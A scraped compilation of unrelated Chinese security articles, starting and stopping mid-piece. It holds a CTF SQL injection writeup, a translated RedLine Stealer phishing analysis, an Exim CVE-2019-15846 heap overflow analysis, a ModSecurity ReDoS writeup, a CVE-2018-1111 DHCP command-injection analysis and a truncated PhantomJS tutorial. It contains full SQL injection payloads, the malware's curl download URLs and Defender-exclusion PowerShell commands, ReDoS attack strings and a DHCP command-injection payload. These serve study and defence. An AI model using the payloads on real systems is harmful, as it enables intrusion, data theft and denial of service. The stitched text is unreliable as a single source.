image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-1:latest
ports:
- 80:80
**启动方式**
docker-compose up -d
**题目Flag**
n1book{union_select_is_so_cool}
**Writeup**
访问url：<http://192.168.10.22/index.php?id=2-1>
访问url：<http://192.168.10.22/index.php?id=2>
两者结果相同，说明不存在数字型在注入
访问url：<http://192.168.10.22/index.php?id=2>'
访问url：<http://192.168.10.22/index.php?id=2'%23>
页面重新有显示内容，说明存在字符型注入
判断字段数，有三个字段
<http://192.168.10.22/index.php?id=2>' order by 3%23有回显
<http://192.168.10.22/index.php?id=2>' order by 4%23无回显
尝试union注入，查看回显点为2,3
访问url：<http://192.168.10.22/index.php?id=-2>' union select 1,2,3%23
尝试获取表名
http://192.168.10.22/index.php?id=-2' union select 1,2400,group_concat(table_name) from information_schema.tables where table_schema=database()%23
http://192.168.10.22/index.php?id=-2' union select 1,group_concat(table_name),2400 from information_schema.tables where table_schema=database()%23
2,3这两处回显点，一处写payload，一处可以是任意数字
获取字段名
<http://192.168.10.22/index.php?id=-2>' union select
1,group_concat(column_name),2400 from information_schema.columns where
table_schema=database() and table_name='fl4g'%23
为fllllag
获取flag：
<http://192.168.10.22/index.php?id=-2>' union select 1,fllllag,2400 from
fl4g%23
n1book{union_select_is_so_cool}
## **SQL注入-2**
**题目描述:**
请访问 <http://127.0.0.1/login.php> <http://127.0.0.1/user.php>
docker-compose.yml
version: '3.2'
services:
web:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-sql-2:latest
ports:
- 80:80
**启动方式**
docker-compose up -d
**题目Flag**
n1book{login_sqli_is_nice}
**Writeup**
查看源代码，页面注释中有提示，在url中加入?tips=1，出现报错信息
访问：<http://192.168.10.22/login.php?tips=1> 账号输入1’密码输入1抓包
使用报错注入时可以发现，回显正常报错
name=1'and updatexml(1,concat(0x7e,(select 1)),1)#&pass=1
name=1'and updatexml(1,concat(0x7e,(select(1)from dual)),1)#&pass=1
回显，说明我们的sql语句被进行了某种替换，导致语法错误。
尝试
name=1'and updatexml(1,concat(0x7e,(selselectect(1)from dual)),1)#&pass=1
发现回显正常
使用报错注入获取表名
name=1'and updatexml(1,concat(0x7e,(selselectect(group_concat(table_name))from
information_schema.tables where table_schema=database())),1)#&pass=1
为fl4g,users
获得列名
name=1'and
updatexml(1,concat(0x7e,(selselectect(group_concat(column_name))from
information_schema.columns where table_name='fl4g')),1)#&pass=1
为flag
获得flag
name=1'and updatexml(1,concat(0x7e,(selselectect(flag)from fl4g)),1)#&pass=1
为n1book{login_sqli_is_nice}
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
**作者：CybleBlogs
译者：知道创宇404实验室翻译组
原文链接：<https://blog.cyble.com/2022/10/14/online-file-converter-phishing-page-spreads-redline-stealer/>**
## 用于交付有效负载的Windows快捷方式文件
今天，许多人之所以使用在线数字工具，仅仅是因为它们易于使用，并且它们为用户提供了一个有效执行各种操作的平台。这些工具是托管在网站上的基于Web的软件，可以通过互联网访问，而无需在用户的计算机上下载和安装任何内容。有许多在线数字工具可以实现多种任务，例如共享文件、设计徽标、创建流程图、转换文件、制作PDF文档、编辑视频和音频等。
最近，Cyble研究和情报实验室（CRIL）发现了一个名为“hxxps://convertigoto.net/”
的网络钓鱼网站，该网站冒充了真正的“Convertio”网站。Convertio是一个简单的在线工具，可将文件转换为不同的文件格式，包括文档、图像、电子表格、电子书、档案、演示文稿、音频、视频等。钓鱼网站经过精心设计，看起来类似于合法的
Convertio 网站，如下图所示。
图1-正版和仿冒Converto网站的比较
下图显示了钓鱼域名的“Whois”信息，表明该域名最近已注册，并一直积极瞄准在线文件转换工具的用户。
图2-钓鱼域名的Whois查找信息
## 技术细节
当用户访问网络钓鱼页面时，在线工具会提示他们选择需要转换为其他文件类型的输入文件，如下所示。
图3-选择要转换的输入文件
选择文件后，该工具允许用户选择要转换的目标文件扩展名，如下所示。
图4-选择目标文件类型以转换输入文件
选择文件类型并单击页面上的“转换”按钮后，用户将被重定向到下载页面，并显示“下载”按钮以获取其转换后的文件。当用户单击钓鱼网站中的“下载”按钮时，实际感染就开始了，该按钮下载了一个zip存档文件-“YourConvertedFile634643.zip”-如下所示。
图5-下载zip存档文件
zip存档包含一个快捷方式文件“YourConvertedFile.lnk”，而不是用户选择用于转换的实际文件类型。下图显示了从下载的zip文件中提取的快捷方式文件及其目标命令行。
图6-快捷方式文件及其命令行
执行快捷方式文件后，它使用“curl
executable”从以下URL将名为“2.BAT”和“3.BAT”的两个BAT文件下载到“%USERPROFILE%\Downloads”目录，并启动“3.BAT”批处理文件：
* hxxps[:]//convertigoto[.]net/cc/flesd/3[.]bat
* hxxps[:]//convertigoto[.]net/cc/flesd/2[.]bat
“3.bat”批处理文件的内容如下所示。
图7-批处理文件内容
启动“3.bat”批处理文件后，它将运行以下 PowerShell 命令，将文件扩展名（“exe”>“bat”）和驱动器路径（“C：”）添加到
Windows Defender 的排除列表中。
* PowerShell – WindowStyle Hidden Add-MpPreference -ExclusionExtension “exe”
* PowerShell – WindowStyle Hidden Add-MpPreference -ExclusionExtension “bat”
* PowerShell – WindowStyle Hidden Add-MpPreference -ExclusionPath “C:”
然后，“3.bat”使用“curl
executable”从以下URL进一步下载一个具有PDF文件图标的可执行有效载荷，名为“YourConvertedFile59417.exe”，并在重命名为“1.exe”后执行：
* hxxps[:]//convertigoto[.]net/cc/flesd/YourConvertedFile59417[.]exe
下图显示了从网络钓鱼站点下载快捷方式文件的流程树。
图8-流程树
可执行文件的行为表明，有效负载是一种称为“RedLine Stealer”的已知恶意软件。RedLine
Stealer是一种用C#编写的恶意软件，使用SOAP
API与其C&C（命令和控制）服务器通信。该窃取器能够从web浏览器、加密货币钱包和应用程序（如FileZilla、Discord、Steam、Telegram和VPN客户端）中窃取信息。
它还收集有关受感染计算机的信息，例如操作系统、系统硬件、正在运行的进程、防病毒产品、已安装的程序和系统语言。在收集受害者的信息后，它会将所有被盗的详细信息泄露到远程C&C服务器。
此恶意软件还可以上传和下载文件，执行命令，并定期将有关受感染计算机的信息发送到C&C服务器。您可以[在此处](https://blog.cyble.com/2021/08/12/a-deep-dive-analysis-of-redline-stealer-malware/)阅读CRIL对Redline stealer博客的深入分析。
## 结论
在线工具因其便利性、可访问性、可行性和易操作性等优点，被广泛用于专业和个人用途。TA通常面向具有广泛用户群或受众的Web
应用程序。他们创建了一个类似于真实网站的网络钓鱼网站，诱使受害者下载恶意软件。
在这种特殊情况下，TA创建了一个伪造的文件转换器钓鱼网站来传递RedLine恶意软件有效载荷，因为许多用户利用在线转换器工具转换文件以进行日常工作。RedLine
Stealer恶意软件因其丰富多样的功能而在窃取者家族中脱颖而出。此外，RedLine
Stealer背后的TA非常活跃，并在恶意软件即服务（MaaS）模式下销售此产品。
Cyble研究和情报实验室（CRIL）持续监测网络钓鱼活动和恶意攻击，无论它们是正在进行或是正在出现。我们将继续向读者提供最新的研究结果和分析。
## 建议
* 避免从Warez/Torrent网站下载盗版软件。YouTube、Torrent等网站上的“黑客工具”包含此类恶意软件。
* 尽可能使用强密码并实施多重身份验证。
* 在计算机、移动设备和其他连接的设备上打开自动软件更新功能。
* 在连接的设备（包括 PC、笔记本电脑和移动设备）上使用知名的防病毒和互联网安全软件包。
* 避免在未验证其真实性的情况下打开不受信任的链接和电子邮件附件。
* 教育员工如何保护自己免受网络钓鱼攻击和不受信任的 URL 等威胁。
* 阻止可用于传播恶意软件的 URL，例如Torrent/Warez。
* 监控网络级别的信标，以阻止恶意软件或TA的数据渗出。
* 在员工系统上启用数据丢失预防（DLP）解决方案。
## MITRE ATT&CK®技术
**策略** | **技术ID** | **技术名称**
---|---|---
初始访问 | [T1567型](https://attack.mitre.org/techniques/T1566/) | 网络钓鱼
执行 | [T1204](https://attack.mitre.org/techniques/T1204/)
[T1064](https://attack.mitre.org/techniques/T1064/)
[T1059](https://attack.mitre.org/techniques/T1059/001/)
[T1047](https://attack.mitre.org/techniques/T1047/) | 用户执行脚本PowerShell
Windows管理工具
权限提升 | [T1056](https://attack.mitre.org/techniques/T1055/) | 进程注入
防御规避 | [T1562](https://attack.mitre.org/techniques/T1562/)
[T1497](https://attack.mitre.org/techniques/T1497/) | 禁用或修改工具虚拟化/沙盒规避
凭据访问 | [T1002型](https://attack.mitre.org/techniques/T1003/) | 操作系统凭据转储
发现 | [T1057](https://attack.mitre.org/techniques/T1057/)
[T1082](https://attack.mitre.org/techniques/T1082/)
[T1518](https://attack.mitre.org/techniques/T1518/) | 进程发现 系统信息发现 安全软件发现
收集 | [T1005型](https://attack.mitre.org/techniques/T1005/) | 来自本地系统的数据
命令与控制 | [T1071](https://attack.mitre.org/techniques/T1071/)
[T1573](https://attack.mitre.org/techniques/T1573/)
[T1105](https://attack.mitre.org/techniques/T1105/) | 应用层协议加密通道入口工具传输
## IOC
**指标** | **指标类型** | **描述**
---|---|---
0350d40da8135fe9c8c61a939602dedd 6e30860d6b5c6348d7143f74b2ad734eee716da3
1089a26c46bb0e5a247593e5defd80503dc0d4950ee522f1de54fca99b1c21f6 | MD5 SHA1
Sha256 | Zip文件
8be13313460c5f1befb20a1051f9f850 9e1dafcd668cb89d82ae85806d5b67f54509cb55
f74b170a7f8258bc8824f0f5efad26e8081f793cc1c4d5282a5fcc43c3d71368 | MD5 SHA1
Sha256 | LNK文件
209b97fe681f86b71162153b4ddbce32 18ddf2b3f414a970cc3915dc69b8d06eff55d4da
70f56299a49fdb0994adfff42b3d4b74f7036193d8a783ee8223180bf0b30bed | MD5 SHA1
Sha256 | BAT 文件 “3.bat”
303c63a7c8d3b15c72e079e720fc4ae4 9dac60afed2565c94ed3e1716032a9d989f82307
eb7d31a5a641b057aa250442dc5252d4214ca282632ebd24a79644fe358fbe18 | MD5 SHA1
Sha256 | 可执行文件
hxxps[:]//convertigoto[.]net// | URL | 网络钓鱼网站
hxxps[:]//convertigoto[.]net/cc/flesd/3[.]bat | URL | 恶意软件分发网址
hxxps[:]//convertigoto[.]net/cc/flesd/2[.]bat | URL | 恶意软件分发网址
hxxps[:]//convertigoto[.]net/cc/flesd/YourConvertedFile59417[.]exe | URL |
恶意软件分发网址
* * * | 社区文章 |
# CVE-2019-15846：Exim远程获取root权限漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 漏洞背景
2019年9月6日18：00，exim发布exim-4.92.2版本修复了CVE-2019-15846，攻击者可以利用此漏洞远程获取root权限。漏洞由qualys发现并报告。
当exim支持TLS时，攻击者发送以’\0’结束的SNI，此时string_unprinting函数调用string_interpret_escape函数处理转义序列，由于string_interpret_escape函数中没有处理’\0’的情况，造成了越界读。qualys已经证实可以利用此漏洞远程获取root权限。
2019年10月8日，synacktiv发布POC以及漏洞分析，360CERT对此进行复现和分析。
#### 影响版本
exim < 4.92.2版本
#### 环境搭建
（1）poc 地址：<https://github.com/synacktiv/Exim-CVE-2019-15846>
将1i7Jgy-0002dD-Pb-D 和1i7Jgy-0002dD-Pb-H 放入/var/spool/exim/input文件夹下，需要root权限。
（2）启动exim：
sudo /usr/exim/bin/exim -bd -q30m -dd
exim会在启动过程中去读取配置文件，执行到string_unprinting()漏洞函数，所以不能在启动后用gdb附加,而且启动后的触发漏洞的进程也会退出。根据poc作者的操作是set
follow-fork-mode
child就可以附加到漏洞进程，笔者按该方法无法正常启动exim进行调试，所以换了个调试方法，在源码触发漏洞前加个等待读取的操作，再用gdb去附加漏洞进程。
/src/src/spool_in.c:
（3）附加漏洞进程：
（4）进行调试
## 0x01 漏洞分析
查找可利用的漏洞触发路径：
（1）大部分调用string_interpret_escape()的函数都对传入的字符串有限制。例如nextitem()（src/filter.c）检查了字符串缓冲区是否溢出。string_dequote()函数只从配置文件中获取字符串。
（2）tls_import_cert()->string_unprinting()->string_interpret_escape()
由于证书是pem格式，用Base64编码，所以不可能包含’\0’序列
（3）src/spool_in.c
peerdn（src/spool_in.c）的使用并非默认配置，在Exim使用客户端证书验证时才会被调用
（4）最后关注到tls连接上，只要Exim支持tls连接，攻击者就可以发送sni，据此调用到string_unprinting() 和
string_interpret_escape() 函数
tls_in.sni = string_unprinting(string_copy(big_buffer + 9));
string_unprinting函数的作用是将输入缓冲区的内容（解析转义字符，如通过string_interpret_escape函数\x62转成b）写入到输出缓冲区。
在string_unprinting中判断’\’进入string_interpret_escape流程，string_interpret_escape函数中没有对’\0’的判断，可以继续读取字符串，并写入到输出缓存区中，因此造成越界读的同时也越界写了。过程如下图所示：
刚进入string_unprinting时：
s = 0x1e16de8
q = ss = 0x1e16df0
p = 0x1e16dee
off = 0x6
len = 0x8
第一次memcpy：
gdb-peda$ x/10gx 0x1e16de8
0x1e16de8: 0x005c666564636261 0x0000666564636261
0x1e16df8: 0x0000000000000000 0x0000000000000000
0x1e16e08: 0x0000000000000000 0x0000000000000000
0x1e16e18: 0x0000000000000000 0x0000000000000000
0x1e16e28: 0x0000000000000000 0x0000000000000000
进入string_interpret_escape前p的值：
gdb-peda$ p p
$24 = (const uschar *) 0x1e16dee ""
进入string_interpret_escape后p的值：
gdb-peda$ p p
$24 = (const uschar *) 0x1e16def ""
退出string_interpret_escape后p指针又自加了一次，所以一共自加两次，导致向前解析了’\’,’\0’两个字符，而’\0’的下一个字符为刚刚memcpy的”abcdef”，不为’\0’，所以while循环继续解析，导致第二次memcpy:
Guessed arguments:
arg[0]: 0x1e16df7 --> 0x0
arg[1]: 0x1e16df0 --> 0x666564636261 ('abcdef')
arg[2]: 0x6
arg[3]: 0x7
第二次memcpy后：
gdb-peda$ x/10gx 0x1e16de8
0x1e16de8: 0x005c666564636261 0x6100666564636261
0x1e16df8: 0x0000006665646362 0x0000000000000000
0x1e16e08: 0x0000000000000000 0x0000000000000000
0x1e16e18: 0x0000000000000000 0x0000000000000000
0x1e16e28: 0x0000000000000000 0x0000000000000000
从越界读导致越界写。
exgen.py 构造的文件通过对堆的布局（需要在/var/spool/exim/input文件夹下放至少205个message-log文件），通过堆溢出将保存在堆中的文件名修改成../../../../../tmp/tote，并伪造sender_address，之后该字段保存的字符串会写入message-log文件（即../../../../../tmp/tote）中。
但该poc在测试环境中，堆无法布局成功（可能环境以及205个message-log文件不同），会覆盖top chunk，造成进程崩溃，但主进程会重新起进程。
使用exgen.py造成的堆布局（进入string_unprinting函数后）如下：
0x1210c10 0x2e000083 0x4010 Used None None
0x1214c20 0x0 0x2020 Used None None
0x1216c40 0x0 0x2ff0 Used None None
0x1219c30 0x0 0x2020 Used None None
0x121bc50 0x0 0x410 Used None None
gdb-peda$ p s
$6 = (uschar *) 0x1219ca0 'a' <repeats 89 times>,
"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00
\\\\x00\\\\x20\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00
aaaaaaaaa\\\\x2e\\\\x2e\\\\x2f\\\\x2e\\\\"...
gdb-peda$ p len
$14 = 0xfc8
gdb-peda$ p yield_length
$17 = {0x20, 0x1ae8, 0xffffffff}
之后堆溢出破坏了top chunk：
0x1210c10 0x2e000083 0x4010 Used None None
0x1214c20 0x0 0x2020 Used None None
0x1216c40 0x0 0x2ff0 Used None None
0x1219c30 0x0 0x2020 Used None None
Corrupt ?!
导致后面分配时错误，产生崩溃：
## 0x02 补丁分析
在string_interpret_escape函数中判断’\’后面是否为’\0’，如果是就不再自加一次，直接返回’\’所在的地址。退出string_interpret_escape后在string_unprinting自加一次p指针指向’\0’的地址，while循环结束，不会造成越界读。
## 0x03 时间线
2019-09-06 exim发布新版本修复漏洞
2019-09-06 360CERT发布预警
2019-10-08 synacktiv发布poc
2019-10-31 360CERT对外发布漏洞分析报告
## 0x04 参考链接
1. <https://www.synacktiv.com/posts/exploit/scraps-of-notes-on-exploiting-exim-vulnerabilities.html>
2. <http://exim.org/static/doc/security/CVE-2019-15846.txt>
3. <https://git.exim.org/exim.git/blob/2600301ba6dbac5c9d640c87007a07ee6dcea1f4:/doc/doc-txt/cve-2019-15846/qualys.mbx>
欢迎加入360-CERT团队，请投递简历到 caiyuguang#360.cn | 社区文章 |
# 我是如何在ModSecurity的核心规则集中找到ReDOS漏洞的
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文将会讲述我是如何在世界知名WAF的规则集中找到ReDOS漏洞的，如果你还不是很熟悉正则表达式和ReDOS漏洞，可以阅读我的前一篇文章：<https://nosec.org/home/detail/2506.html>。简单来说，ReDOS漏洞由于某些正则表达式在编写时忽略了安全性，导致在匹配搜索某些特殊的字符串时会消耗大量计算资源，产生DOS攻击的效果。而现在不少WAF产品都是依赖正则表达式对流量进行过滤，一旦哪个正则表达式存在安全问题，就有可能使WAF受到ReDOS漏洞的攻击。
最近，我花了很多时间去研究WAF中的ReDOS漏洞。而我的目标则是世界知名的WAF产品ModSecurity的核心规则集[CRS](https://github.com/SpiderLabs/owasp-modsecurity-crs)，因为它有大量的正则表达式，正好锻炼我的绕WAF能力，一石二鸟！
CRS有29个配置文件，其中包含大量正则表达式，我不可能全部手动测试，所以我编写了一个脚本自动化处理。遗憾的是脚本还处于alpha阶段，我还不能公开它，不过我已想好了发布时间，相信不久后就能和大家见面。
在利用脚本得到一些可疑的正则表达式后，我使用[regex101.com](http://regex101.com/)来去除表达式中的无用部分，例如把`((fine)|(vulnerable))`中的`(fine)`删除
我还使用了[RegexBuddy](https://www.regexbuddy.com/)来分析不同漏洞的利用方式，最后用Python解释器来确认利用有效。
现在，让我们谈谈我所发现的漏洞点以及它们的利用方式。
## Case#1
表达式: (?:(?:^["'`\\]*?[^"'`]+["'`])+|(?:^["'`\\]*?[d"'`]+)+)s
利用: """""""""""""" (大约1000个")
为什么是漏洞？
这个表达式是由`|`符连接两个子表达式而成的，而且两个子表达式都是以`^[”’`\\]*?`开头，然后末尾再接上一两个特殊字符。正则表达式引擎在处理时会遍历两种子表达式的所有可能，大大消耗计算资源。
而且在第二子表达式中，`^[”’`\\]*?`和`[d”’`]+`都会匹配`“`, `‘` 和反引号有明显的竞争关系。
这种`((pattern 1)+|(pattern 2)+)+`重复运算符加嵌套的模式很明显在处理特殊字符串时会消耗大量计算资源。
## Case#2
表达式: for(?:/[dflr].*)* %+[^ ]+ in(.*)s?do
弱点: for(?:/[dflr].*)* %
利用: for/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r
为什么是漏洞？
让我们一步步看看这个表达式对特殊字符串的匹配步骤
f
fo
for
for/
for/r
for/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r
我所给出的字符串后半部分会被`.*`所匹配，但由于字符串的末尾不是`%`，最终会导致匹配失败。
此时，为了成功匹配，此时匹配逻辑会放过最后的字符`r`，看看其余字符串是否符合：
for/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/r/
当然，匹配依旧失败。一般来说，匹配逻辑会不断后退，直到退无可退，彻底匹配失败。但是，由于这里是两个重复运算符的叠加应用，事情变得更加复杂。而且`/r`既可以被`.*`匹配，又会被`/[dflr]`匹配……
我不确定如果运行完需要多少次计算，我使用的`RegexBuddy4`的上限为10,00,000，很显然真实的数字远超这个值。
## Case#3
Pattern: (?:s|/*.**/|//.*|#.*)*(.*)
Exploit: ################################################
为什么是漏洞？
`(?:s|/*.**/|//.*|#.*)*`可以看作由`|`符连接四个子表达式，其中3个具有`.*`这种可以匹配一切的敏感符号。当正则表达式引擎将表达式与字符串进行匹配搜索时，只有最后的子表达式才匹配，但因为缺少表达式所需的`()`，匹配失败，此时正则表达式引擎会变得很疯狂，而且这里也存在重复运算符的嵌套问题。最终，每增加一个`#`字符，所需的计算步骤数就会疯狂增长。
最后这个case我在3个不同的规则中都有找到。
在我上报了以上漏洞后，得到了如下CVE：
* [CVE-2019-11387](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11387)
* [CVE-2019-11388](https://nvd.nist.gov/vuln/detail/CVE-2019-11388)
* [CVE-2019-11389](https://nvd.nist.gov/vuln/detail/CVE-2019-11389)
* [CVE-2019-11390](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11390)
* [CVE-2019-11391](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11391)
感谢你的阅读，今后我将继续分享更多关于ReDOS的研究。
本文由白帽汇整理并翻译，不代表白帽汇任何观点和立场：https://nosec.org/home/detail/2508.html
来源：https://medium.com/@somdevsangwan/how-i-found-5-redos-vulnerabilities-in-mod-security-crs-ce8474877e6e | 社区文章 |
原文：<https://researchcenter.paloaltonetworks.com/2018/07/unit42-analysis-dhcp-client-script-code-execution-vulnerability-cve-2018-1111/>
2015年5月，在Red Hat Enterprise
Linux（[CVE-2018-1111](https://access.redhat.com/security/cve/cve-2018-1111
"CVE-2018-1111")）的多个版本的DHCP客户端软件包提供的NetworkManager脚本中发现了命令注入漏洞，随后，Red
Hat提供了相应的补丁。当系统使用含有该漏洞的NetworkManager并配置了DHCP协议时，攻击者可以利用一个恶意的DHCP服务器或者本地网络构造的DHCP响应，在该系统上以root权限执行任意命令。
该漏洞对运行Red Hat Enterprise Linux版本6或7的、含有该漏洞的系统的个人或组织构成了严重威胁，应立即安装补丁。
在本文中，我们将会对该漏洞进行深入的分析，来帮助读者进行风险评估，并加深对该漏洞的了解，最后，我们还提供了相应的安全建议。
**漏洞分析**
* * *
NetworkManager是一个Linux程序，在启用DHCP网络模式的情况下，常使用它来管理系统网络。在这种情况下，NetworkManager将启动dhclient来发送DHCP请求，具体如图1所示。
图1. 通过NetworkManager运行的dhclient进程
在上面的示例中，读者可能会注意到，NetworkManager还向dhclient传递了另外一个配置文件（/var/lib/NetworkManager/dhclient-eth0.conf）。如下例所示，dhclient在默认情况下被配置为请求多个DHCP数据包选项，其中包括WPAD。
图2. 传递给dhclient的配置文件
当dhclient向DHCP服务器发送初始请求时，会在请求中包含这个WPAD（代码252）选项，具体如下图所示：
图3. 包含WPAD选项的DHCP初始请求数据包
利用CVE-2018-1111漏洞，攻击者可以通过格式错误的响应对该DHCP请求进行响应。例如，攻击者可以使用以下数据进行响应，具体如图4所示：
xxx'&touch /tmp/test #
图4. 攻击者利用DHCP响应中畸形的WPAD选项进行响应
收到该响应后，默认的11-dhclient脚本最终会将该数据传递给eval()语句，进而导致touch命令创建/tmp/test。
**技术分析**
* * *
当然，在受害者系统收到畸形的DHCP响应之后到创建/tmp/test之前这段时间内，还会发生许多其他事情。首先，dhclient将调用client_option_envadd()函数将值保存到变量中，这一点可以从下面的源代码中看到。具体来说，这一步是通过client_envadd()函数的3154行代码来完成的。
图5. 处理DHCP数据包选项的dhclient源代码
上面的源代码中，在设置变量之前，会调用pretty_print_option()函数，该函数会通过在特殊字符之前添加反斜杠（“\”）来对这些数据进行“消毒”，
例如：
The ‘ character will be converted to \’
The & character will converted to \&
在我们的示例中，发送的原始数据如下所示：
xxx’&touch /tmp/test #
然后，将转换为下面的样子：
xxx\’\&touch /tmp/test #
从下图可以看出，数据是由下面的函数完成转换的：
图6. pretty_print函数对示例WPAD选项进行相应的转换处理
在完成上述转换后、在将这些值存储到变量之前，会继续调用check_option_values()函数进行相应的检查，以确定在给定某些选项的情况下，是否包含某些特殊字符。例如，当提供HOST_NAME或DOMAIN_NAME时，就需要对特殊字符进行检查，具体如图8、图9所示。
图8. 检查是否提供了特定选项的代码
图9. 在提供NETBIOS_SCOPE选项的情况下所执行的代码
从上面的代码中可以看出，它并没有对WPAD选项进行相应的检查。因此，我们能够通过DHCP响应中的这个选项提供任意数据，因为它处于未被监督的地带。
接下来，dhclient将通过传递相应的参数来启动/usr/libexec/nm-dhcp-helper进程。然后，将这些变量保存到dbus服务中。
此外，还有另一个名为nm-dispatcher的兄弟进程，它是由NetworkManager启动的，之后会从dbus服务中读取这些变量。该进程会将WPAD
DHCP选项的值保存到名为DHCP4_WPAD的环境变量中，然后，会启动位于/etc/NetworkManager/dispatcher.d/中的11-dhclient脚本。
在11-dhclient脚本中，包含以下内容：
图10. 11-dhclient脚本的内容
接下来，让我们深入了解这个脚本的作用。
在eval()语句中，执行的第一个命令是“declare”。这个“declare”命令将输出系统上的所有环境变量。读者可能非常熟悉“env”命令，实际上两者的作用非常类似。不过，虽然输出内容相似，但仍然存在一些关键差异，具体如图11所示。
图11. declare和env命令之间的差异
正如您在上面所看到的，“declare”命令还会执行另外两项操作：
1. 如果变量包含特殊字符（例如空格或单引号），则会在两侧添加单引号，即'。
2. 它会将内部单引号'转换为'\”（将一个字符转换为四个字符）。
由于变量值为xxx\’\&touch /tmp/test #，因此“declare”的输出将变为‘xxx\’\”\&touch /tmp/test #’。
运行“declare”命令后，脚本只会搜索以“DHCP4_”开头的环境变量。接下来，是“read”命令。如果未提供参数，那么该命令将读取转义后的字符，换句话说，\'将成为'。
回到我们通过DHCP响应中的WPAD选项提供的数据，即 ‘xxx\’\”\&touch /tmp/test #’，它将变为‘xxx”’&touch
/tmp/test #’。换句话说，由于使用了没有任何参数的“read”命令，以前转义的字符将被取消转义。
其余命令会将解析后的环境变量数据设置为一系列变量。但是，最后一个命令中含有可能被利用的代码。具体来说，有安全问题的代码如下所示：
echo "export $optname=$optvalue"
使用我们的示例响应，可以在系统上执行以下代码：
eval "$(echo "export new_wpad='xxx'''&touch /tmp/test #' ")"
我们也可以在命令行中演示上述过程，具体如图12所示：
图12. 利用DHCP选项WPAD执行代码
由于没有对引号进行转义，并且，后面有一个＆符号，所以，这就允许我们在这个eval()语句后面附加一个额外的命令。就本例来说，我们附加的是 ‘touch
/tmp/test’命令，这样的话，就会在/tmp/目录中创建一个名为'test'的空文件。
如果引号和＆符号被转义的话，我们的攻击将失效，具体如下所示：
图13. 使用转义后的字符执行相同的代码
需要注意的是，其他的字符也能用于该攻击，例如|或;。
**漏洞的修复方法**
* * *
对于这个特定的例子来说，修复方法非常简单——只需在“read”命令中添加“-r”选项即可防止各种字符被转义，该漏洞的补丁程序中的修复代码如下所示：
图14. CVE-2018-1111的补丁
根据“read”命令的文档的介绍，“-r”选项可防止命令将反斜杠作为转义字符读取。换句话说，它将保留提供给它的数据中的所有反斜杠。这样的话，就可以抵御命令注入攻击了。
**该漏洞的现状**
* * *
在漏洞被发现后不久，相关的概念验证（POC）代码就于2018年5月16日通过Twitter公之于众：
图15. 通过Twitter公布的CVE-2018-111 PoC
此外，在GitHub中，也有相关的测试代码：
<https://github.com/knqyf263/CVE-2018-1111>
**结束语**
* * *
由于NetworkManager的应用非常广泛，并且这个漏洞很容易被攻击者所利用，因此，我们应该将其作为高危漏洞来对待。就目前的发展情况来看，恶意攻击者利用该漏洞的风险正在日益增加。我们建议读者赶在该漏洞被攻击者利用之前安装好相应的补丁。 | 社区文章 |
写过爬虫的朋友应该都用过一个无头浏览器–phantomjs，使用它的原因很简单明了：能够高度模拟浏览器访问（对抗反爬虫），无头浏览（可以节省性能）。Phantomjs应用最广泛的应该还是用来执行js代码，比如写一个js脚本，利用phantomjs去执行，可以写一个页面截图、网页性能测试等等功能的。
phantomjs也是爬虫界的一大神器，我最初使用它就是用来爬取一些动态加载的网页，效果俱佳。当然Phantomjs也不是完美无缺的，虽然作为无头浏览器其性能已经比其他基于浏览器内核的工具快多了，但跟普通的爬虫相比，速度仍是相差甚远。
关于phantomjs的安装使用网上一大推，这里也不在重复介绍，本篇文章重点在于介绍Phantomjs性能优化问题。因为我比较熟悉python语言，因此就借助此语言谈谈Phantomjs的性能优化功法。
### 基础篇（设置参数功法）
Python中使用Phantomjs需要借助Selenium模块，Selenium本身也是用来做Web自动化测试的，正好封装了Phantomjs，因此我们可以借助它来使用Phantomjs。具体安装方法，这里不再介绍，Phantomjs在启动时可以设置参数，那么来看看如何通过设置参数，达到优化性能的目的。
#### 代码测试
访问单个网站的速度
默认配置：
from selenium import webdriver
d=webdriver.PhantomJS("D:\python27\Scripts\phantomjs.exe",service_args=[])
d.get("http://thief.one")
d.quit()
测试结果：3.2s
修改配置：
from selenium import webdriver
service_args=[]
service_args.append('--load-images=no') ##关闭图片加载
service_args.append('--disk-cache=yes') ##开启缓存
service_args.append('--ignore-ssl-errors=true') ##忽略https错误
d=webdriver.PhantomJS("D:\python27\Scripts\phantomjs.exe",service_args=service_args)
d.get("http://thief.one")
d.quit()
测试结果：2.9s
说明：从单个网站来看，合理设置参数可以提速0.3s（如果网站上图片等资源较多，则提升的效果会更明显）。
#### 设置超时
当利用爬虫访问一批网站时，遇到加载慢的网站往往会阻塞很久，遇到打不开的网站则会一直阻塞，严重影响了爬虫的性能，我们知道一般的爬虫，例如requests、urllib等模块可以设置timeout，也就是超时时间，phantomjs同样可以设置。
from selenium import webdriver
service_args=[]
service_args.append('--load-images=no')
service_args.append('--disk-cache=yes')
service_args.append('--ignore-ssl-errors=true')
d=webdriver.PhantomJS("D:\python27\Scripts\phantomjs.exe",service_args=service_args)
d.implicitly_wait(10) ##设置超时时间
d.set_page_load_timeout(10) ##设置超时时间
d.get("http://www.baidu.com")
d.quit()
说明：如果phantomjs加载时间超过10s，则会触发异常。（虽然触发异常，但current_url仍然可以用来获取当前url，源码也可以获取，只不过是没有加载完全的源码。当然只针对加载慢的网站，完全无法访问的网站除外。）
### 中级篇（合理开关）
